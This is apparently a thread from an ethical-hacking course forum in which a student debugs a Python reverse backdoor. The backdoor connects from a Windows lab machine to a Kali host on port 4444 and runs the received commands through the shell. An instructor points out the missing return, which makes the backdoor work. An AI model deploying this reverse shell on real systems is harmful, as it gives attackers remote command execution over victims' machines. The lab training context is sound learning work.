[Peter Queen]

Hello,

I am having problem with executing command remotely. My kali connection works fine and I am able to establish connection but as soon as I type a command I get an error on the Windows target machine.

This is the reverse backdoor code I run on the target machine:

#!/usr/bin/env python

import socket
import subprocess

def execute_system_command(command):
    subprocess.check_output(command, shell=True)

    
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("10.0.2.15", 4444))

while True:
	command = connection.recv(1024)
	command_result = execute_system_command(command)
	connection.send(command_result)

connection.close()

and this is the error I get:

C:\Users\IEUser\Python>C:\Python27\python.exe reverse_backdoor.py
Traceback (most recent call last):
  File "reverse_backdoor.py", line 15, in <module>
    connection.send(command_result)
TypeError: send() argument 1 must be string or buffer, not None

I tried to Google a solution but I could not solve it.

Thanks

[Diego Pérez]

Hi Peter!
You are nor returning the result of subprocess module in your function:
def execute_system_command(command):
subprocess.check_output(command, shell=True)

You are just calling the module, so you need to return it’s output, if you don’t understand what I’m saying will recommend to watch the lecture again.

Let me know how it goes!
Diego

[Peter Queen]

Sort thanks Diego!, just added return

[Diego Pérez]

Hi Peter!
Cool you got it!
Diego

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